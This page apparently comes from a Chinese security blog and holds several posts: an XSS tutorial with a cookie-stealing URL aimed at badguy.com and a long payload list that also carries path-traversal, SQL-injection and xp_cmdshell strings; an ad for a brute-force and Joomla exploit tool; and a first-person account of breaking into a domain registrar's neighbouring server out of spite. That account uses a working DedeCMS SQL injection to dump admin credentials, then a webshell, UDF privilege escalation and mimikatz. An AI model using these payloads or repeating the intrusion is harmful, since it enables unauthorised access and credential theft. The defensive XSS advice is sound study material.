结合自己的实际经历说说WEB安全之XSS是如何发生的又如何预防 代码人生
定义(来自百度百科):
跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的。
下面先看看我自己测试的XSS场景效果,当然怀有恶意的XSS是不会让你看见的:
这是获取一个网站管理员的cookies
这是测试弹出一句话,当然也可以是其他js代码,读取cookies存到一个地方,跳转到钓鱼网站,或者是劫持你的浏览器等等。
下面就具体的分析一下是如何形成并且发生的:
假如有下面一个textbox
<input type="text" name="address1" value="value1from">
value1from是来自用户的输入,如果用户不是输入value1from,而是输入 "/><script>alert(document.cookie)</script><!- 那么就会变成
<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">
嵌入的JavaScript代码将会被执行
或者用户输入的是 "onfocus="alert(document.cookie) 那么就会变成
<input type="text" name="address1" value="" onfocus="alert(document.cookie)">
事件被触发的时候嵌入的JavaScript代码将会被执行
攻击的威力,取决于用户输入了什么样的脚本
当然用户提交的数据还可以通过QueryString(放在URL中)和Cookie发送给服务器. 例如下图
XSS之所以会发生, 是因为用户输入的数据变成了代码。 所以我们需要对用户输入的数据进行HTML Encode处理。 将其中的"中括号", “单引号”,“引号” 之类的特殊字符进行编码。
在C#中已经提供了现成的方法,只要调用HttpUtility.HtmlEncode("string <scritp>") 就可以了。 (需要引用System.Web程序集)
Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮
XSS 攻击场景:
1. Dom-Based XSS 漏洞 攻击过程如下
Tom 发现了Victim.com中的一个页面有XSS漏洞,
例如: http://victim.com/search.asp?term=apple
服务器中Search.asp 页面的代码大概如下
<html> <title></title> <body> Results for <%Reequest.QueryString("term")%> ... </body> </html>
Tom 先建立一个网站http://badguy.com, 用来接收“偷”来的信息。
然后Tom 构造一个恶意的url(如下), 通过某种方式(邮件,QQ)发给Monica
http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>
Monica点击了这个URL, 嵌入在URL中的恶意Javascript代码就会在Monica的浏览器中执行. 那么Monica在victim.com网站的cookie, 就会被发送到badguy网站中。这样Monica在victim.com 的信息就被Tom盗了.
2. Stored XSS(存储式XSS漏洞), 该类型是应用广泛而且有可能影响大Web服务器自身安全的漏洞,攻击者将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄露的可能。 攻击过程如下
Alex发现了网站A上有一个XSS 漏洞,该漏洞允许将攻击代码保存在数据库中,
Alex发布了一篇文章,文章中嵌入了恶意JavaScript代码。
其他人如Monica访问这片文章的时候,嵌入在文章中的恶意Javascript代码就会在Monica的浏览器中执行,其会话cookie或者其他信息将被Alex盗走。
Dom-Based XSS漏洞威胁用户个体,而存储式XSS漏洞所威胁的对象将是大量的用户.
XSS 漏洞修复:
原则: 不相信客户输入的数据
注意: 攻击代码不一定在<script></script>中
- 将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到cookie了.
- 只允许用户输入我们期望的数据。 例如: 年龄的textbox中,只允许用户输入数字。 而数字之外的字符都过滤掉。
- 对数据进行Html Encode 处理
- 过滤或移除特殊的Html标签, 例如: <script>, <iframe> , < for <, > for >, " for
- 过滤JavaScript 事件的标签。例如 "onclick=", "onfocus" 等等。
- 使用第三方防护产品,比如各种云加速都有waf,百度云,阿里云,知道创宇云,或者是网站防护软件,安全狗,D盾,360网站、主机卫士等等,在这里就不一一列举,请大家自行测试吧。
如何测试XSS漏洞?
方法一: 查看代码,查找关键的变量, 客户端将数据传送给Web 服务端一般通过三种方式 Querystring, Form表单,以及cookie. 例如在ASP的程序中,通过Request对象获取客户端的变量
<% strUserCode = Request.QueryString(“code”); strUser = Request.Form(“USER”); strID = Request.Cookies(“ID”); %>
假如变量没有经过htmlEncode处理, 那么这个变量就存在一个XSS漏洞
方法二: 准备测试脚本,
"/><script>alert(document.cookie)</script><!-- <script>alert(document.cookie)</script><!-- "onclick="alert(document.cookie)
在网页中的Textbox或者其他能输入数据的地方,输入这些测试脚本, 看能不能弹出对话框,能弹出的话说明存在XSS漏洞
在URL中查看有那些变量通过URL把值传给Web服务器, 把这些变量的值退换成我们的测试的脚本。 然后看我们的脚本是否能执行
方法三: 自动化测试XSS漏洞
现在已经有很多XSS扫描工具了。 实现XSS自动化测试非常简单,只需要用HttpWebRequest类。 把包含xss 测试脚本。发送给Web服务器。 然后查看HttpWebResponse中,我们的XSS测试脚本是否已经注入进去了。
附上一些常用的XSS测试代码:
"/><script>alert("测试一下,哈哈")</script><!- ‘><script>alert(document.cookie)</script> =’><script>alert(document.cookie)</script> <script>alert(document.cookie)</script> <script>alert(vulnerable)</script> %3Cscript%3Ealert(‘XSS’)%3C/script%3E <script>alert(‘XSS’)</script> <img src=”javascript:alert(‘XSS’)”> %0a%0a<script>alert(\”Vulnerable\”)</script>.jsp %22%3cscript%3ealert(%22xss%22)%3c/script%3e %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html %3f.jsp %3f.jsp <script>alert(‘Vulnerable’);</script> <script>alert(‘Vulnerable’)</script> ?sql_debug=1 a%5c.aspx a.jsp/<script>alert(‘Vulnerable’)</script> a/ a?<script>alert(‘Vulnerable’)</script> “><script>alert(‘Vulnerable’)</script> ‘;exec%20master..xp_cmdshell%20’dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt’–&& %22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E %3Cscript%3Ealert(document. domain);%3C/script%3E& %3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID= 1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname= http://www.testsite.com/http://www.testsite.com/http://www.testsite.com/http://www.testsite.com/etc/passwd ..\..\..\..\..\..\..\..\windows\system.ini \..\..\..\..\..\..\..\..\windows\system.ini ”;!–“<XSS>=&{()} <IMG src=”javascript:alert(‘XSS’);”> <IMG src=javascript:alert(‘XSS’)> <IMG src=JaVaScRiPt:alert(‘XSS’)> <IMG src=JaVaScRiPt:alert(“XSS”)> <IMG src=javascript:alert(‘XSS’)> <IMG src=javascript:alert(‘XSS’)> <IMG src=javascript:alert('XSS')> <IMG src=”jav ascript:alert(‘XSS’);”> <IMG src=”jav ascript:alert(‘XSS’);”> <IMG src=”jav ascript:alert(‘XSS’);”> “<IMG src=java\0script:alert(\”XSS\”)>”;’ > out <IMG src=” javascript:alert(‘XSS’);”> <SCRIPT>a=/XSS/alert(a.source)</SCRIPT> <BODY BACKGROUND=”javascript:alert(‘XSS’)”> <BODY ONLOAD=alert(‘XSS’)> <IMG DYNSRC=”javascript:alert(‘XSS’)”> <IMG LOWSRC=”javascript:alert(‘XSS’)”> <BGSOUND src=”javascript:alert(‘XSS’);”> <br size=”&{alert(‘XSS’)}”> <LAYER src=”http://www.testsite.com/a.js”></layer> <LINK REL=”stylesheet” href=”javascript:alert(‘XSS’);”> <IMG src=’vbscript:msgbox(“XSS”)’> <IMG src=”mocha:”> <IMG src=”livescript:”> <META HTTP-EQUIV=”refresh” CONTENT=”0;url=javascript:alert(‘XSS’);”> <IFRAME src=javascript:alert(‘XSS’)></IFRAME> <FRAMESET><FRAME src=javascript:alert(‘XSS’)></FRAME></FRAMESET> <TABLE BACKGROUND=”javascript:alert(‘XSS’)”> <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”> <DIV STYLE=”behaviour: url(‘http://www.testsite.org/exploit.html’);”> <DIV STYLE=”width: expression(alert(‘XSS’));”> <STYLE>@im\port’\ja\vasc\ript:alert(“XSS”)’;</STYLE> <IMG STYLE=’xss:expre\ssion(alert(“XSS”))’> <STYLE TYPE=”text/javascript”>alert(‘XSS’);</STYLE> <STYLE TYPE=”text/css”>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A class=”XSS”></A> <STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE> <BASE href=”javascript:alert(‘XSS’);//”> getURL(“javascript:alert(‘XSS’)”) a=”get”;b=”URL”;c=”javascript:”;d=”alert(‘XSS’);”;eval(a+b+c+d); <XML src=”javascript:alert(‘XSS’);”> “> <BODY ONLOAD=”a();”><SCRIPT>function a(){alert(‘XSS’);}</SCRIPT><“ <SCRIPT src=”http://xss.ha.ckers.org/xss.jpg”></SCRIPT> <IMG src=”javascript:alert(‘XSS’)” <!–#exec cmd=”/bin/echo ‘<SCRIPT SRC'”–><!–#exec cmd=”/bin/echo ‘=http://xss.ha.ckers.org/a.js></SCRIPT>'”–> <IMG src=”http://www.testsite.com/somecommand.php?somevariables=maliciouscode”> <SCRIPT a=”>” src=”http://www.testsite.com/a.js”></SCRIPT> <SCRIPT =”>” src=”http://www.testsite.com/a.js”></SCRIPT> <SCRIPT a=”>” ” src=”www.testsite.com/a.js”></SCRIPT> <SCRIPT “a=’>'” src=”www.testsite.com/a.js”></SCRIPT> <SCRIPT>document.write(“<SCRI”);</SCRIPT>PT src=”http://www.testsite.com/a.js”></SCRIPT> <A href=http://www.testsite.com://www.testsite.com/ogle.com/>link</A> admin’– ‘ or 0=0 — ” or 0=0 — or 0=0 — ‘ or 0=0 # ” or 0=0 # or 0=0 # ‘ or ‘x’=’x ” or “x”=”x ‘) or (‘x’=’x ‘ or 1=1– ” or 1=1– or 1=1– ‘ or a=a– ” or “a”=”a ‘) or (‘a’=’a “) or (“a”=”a hi” or “a”=”a hi” or 1=1 — hi’ or 1=1 — hi’ or ‘a’=’a hi’) or (‘a’=’a hi”) or (“a”=”a
HTML Encode 和URL Encode的区别
刚开始我老是把这两个东西搞混淆, 其实这是两个不同的东西。
HTML编码前面已经介绍过了,关于URL 编码是为了符合url的规范。因为在标准的url规范中中文和很多的字符是不允许出现在url中的。
例如在baidu中搜索"测试汉字"。 URL会变成
http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&rsv_bp=0&rsv_spt=3&inputT=7477
所谓URL编码就是: 把所有非字母数字字符都将被替换成百分号(%)后跟两位十六进制数,空格则编码为加号(+)
在C#中已经提供了现成的方法,只要调用HttpUtility.UrlEncode("string <scritp>") 就可以了。 (需要引用System.Web程序集)
Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮
浏览器中的XSS过滤器
为了防止发生XSS, 很多浏览器厂商都在浏览器中加入安全机制来过滤XSS。 例如IE8,IE9,Firefox, Chrome. 都有针对XSS的安全机制。 浏览器会阻止XSS。 例如下图
如果需要做测试, 最好使用IE7-。
ASP.NET中的XSS安全机制
ASP.NET中有防范XSS的机制,对提交的表单会自动检查是否存在XSS,当用户试图输入XSS代码的时候,ASP.NET会抛出一个错误如下图
很多程序员对安全没有概念, 甚至不知道有XSS的存在。 ASP.NET在这一点上做到默认安全。 这样的话就算是没有安全意识的程序员也能写出一个”较安全的网站“。
如果想禁止这个安全特性, 可以通过 <%@ Page validateRequest=“false" %>
想要更多关于XSS的使用和防御教程请Google搜索:https://www.google.com/#q=site:drops.wooyun.org+xss
参考:http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.html
红树林渗透测试小工具v1.1.1 安全工具
免责申明:
请使用者注意使用环境并遵守国家相关法律法规!
由于使用不当造成的后果本作者不承担任何责任!
----------------------------------------------------------------------------
/*
渗透测试中免不了一些小工具,网上也有许多,但有些不是失效就是操作繁琐。
然后自己琢磨了几个小工具集成一起,界面有点随便,后期会慢慢的进行更改、增加一些功能。T00ls.Net - 低调求发展 - 技术无止境 - Focus On Network Security0 C7 L% M9 Y/ o& L9 M" I
T00ls.Net - 低调求发展 - 技术无止境 - Focus On Network Security2 ?( ?; J3 P: j
会持续更新本程序,有任何问题、BUG、建议烦请联系:[email protected]
*/T00ls.Net - 低调求发展 - 技术无止境 - Focus On Network Security+ ]6 K- u) ~8 C7 Q3 W: P5 C
2015-09-18
* 搜索引擎抓取:调用本机IE8浏览器通过搜索引擎抓取连接,暂时仅支持IE8。
* C段 旁注查询:同服域名查询/C段查询/自定义IP段查询。 - 低调求发展$ Y) Y* u/ Y2 G( Q$ o- D
* 子域名爆破:渗透测试中能快速定位测试目标的子域信息,可进行多级域名爆破,功能简单,以后慢慢增加DNS、Whois、子域查询功能。 - 专注网络安全- \% N& S& w8 ^# b0 t
* Http Form、Http Basic万能暴力破解:主要针对无防火墙,无验证码等防护。进行post提交方式猜解用户密码。T00ls.Net - 低调求发展 - 技术无止境 - Focus On Network Security0 n. A9 [. ?5 g; n7 q; d" T
2015-11-04
* 搜索引擎抓取:更新了支持环境,支持IE8、IE9、IE10、IE11。搜索引擎批量检测最新Joomla3.2-3.4.4漏洞。0 [- v! w" q' S" e* K
* Joomla EXP利用工具:结合搜索引擎对Joomla进行注射检测。
2015-11-06
* 增加导入功能,对Joomla进行批量检测。
链接:http://pan.baidu.com/s/1ntAeHXR 密码:cm58
中文、英文独立版的IE6-for-Win7 很好用的神器 神器荟萃
今天用到了IE6,因为不用ie6打开就是这个样子的:
很尴尬。。。搞了半天 结果发现原来是不支持。那么现在最新的浏览器基本上都是不支持IE7及以下了,好多IE8都不支持了,但是在做测试的时候遇见了一些古老的程序,还得需要使用IE低版本,然后呢,我就在独自等待哪里找到了这个独立版的IE6 ,刚好我电脑也可以运行,如果电脑不能运行,那就在虚拟机的XP里面测试吧!XP上面就是低版本的IE ,而且软件兼容性也比较好,基本上都是支持的。
大家在测试中是否会遇到各种XSS,但是有些只有在IE6下面才能利用? 比如
<div style="width:expression(alert(1))">XSS测试</div>
现在我们使用的基本都是win7系统,默认安装的就是IE8了,想用IE6怎么办?
还好昨天得到了一个神器,单文件运行的IE6,可以在Win7上面正常使用,偶尔会崩溃,但是不影响使用,感谢绿盟的朋友提供。
提供两个下载,大家自己选一个用就行了,第一个是英文版本的,第二个是中文版的,但是貌似有个2345推广,自己修改吧!
http://pan.baidu.com/s/1eQAr0KM 如果链接失效了 请及时通知我修复。
原文(独自等待博客-右侧友链)地址:http://www.waitalone.cn/ie6-for-win7.html
arp劫持某域名注册商 渗透测试
前段时间朋友在做一个网站, 就在某域名商那注册了一个米, 但是三天两头的出问题
找客服客服态度还很差, 说是自己的网络问题, 尼玛dns都找不到能是网络问题么? 擦...
于是乎夜半时分就帮朋友教训教训这个坑爹的域名商~~~
先是探测了一些基本信息, web使用的IIS7.5, 服务器是windows 2008
整个网站是.net写的, 于是开始找常见的一些漏洞, 发现整个系统还是比较安全, 除了一个反射型的XSS以外
没有发现其他更有价值的东西, 参数似乎是全局就过滤了, 所以注射这条路基本上堵死了..
想了一会, 就是为了教训教训这个域名商, 所以只要达到教训的目的就行了, 所以并不是非得日下
把他域名搞了岂不更爽? 再不济给他来个arp劫持也不错, 呵呵
先查了下域名商的域名, 是在Godaddy注册的, whois隐藏了, 现在不都说什么大数据大数据嘛..
于是我就在一些公开的社工库里面查了下站长的qq, 发现都没有信息, 到这里就卡死了..
既然域名那里不能入手, 那就玩玩C段吧.. 说起来也好久没弄这些了.
先用御剑扫一发~ 发现C段的站还挺多的 - - 随便找了个windows2003服务器下手, 找到了一个dede
打开一看我就呆了, 这个站原来都被人搞过了, 主页挂上了某XX小组的黑页
既然别人能日下还改了主页说明这个站的站长似乎并没怎么打理网站, 顿觉有戏!
于是打开/data/admin/ver.txt看了下版本是20130911
这个版本看来还是比较老的了, 所以直接抄上前一段时间爆出来的织梦注入漏洞:
/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa\'and+char(@`'`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,concat(0x3C6162633E,group_concat(0x7C,userid,0x3a,pwd,0x7C),0x3C2F6162633E),5,6,7,8,9%20from%20`%23@__admin`%23");
成功爆出来了帐号和密码
密码倒是很简单, 一下就破出来了. 只不过后台路径被改过了, 于是直接上谷歌, site:xxx.com inurl:login.php
找到了后台就简单了, 一顿XXOO拿到了shell, 这个大家都会就不细说了, 打开dede的配置文件一看, 我擦竟然直接就是root...
于是上传了一个有UDF提权功能的大马, 但是每次导出dll后安装的时候都提示不行, 一想不会是被杀了吧..
这里想了半天, 突然想到把后缀改一下呢, 于是随便弄了一个后缀. 改成了xxx.7b, 一安装, 竟然成功了
为了安全起见没有直接添加用户, 传了一个某黑客用mimikatz改出来的webshell版读取密码
成功把密码读了出来
看了下注册表3389是打开了的, 于是直接上服务器开撸, 没想到直接给我弹了个什么中断连接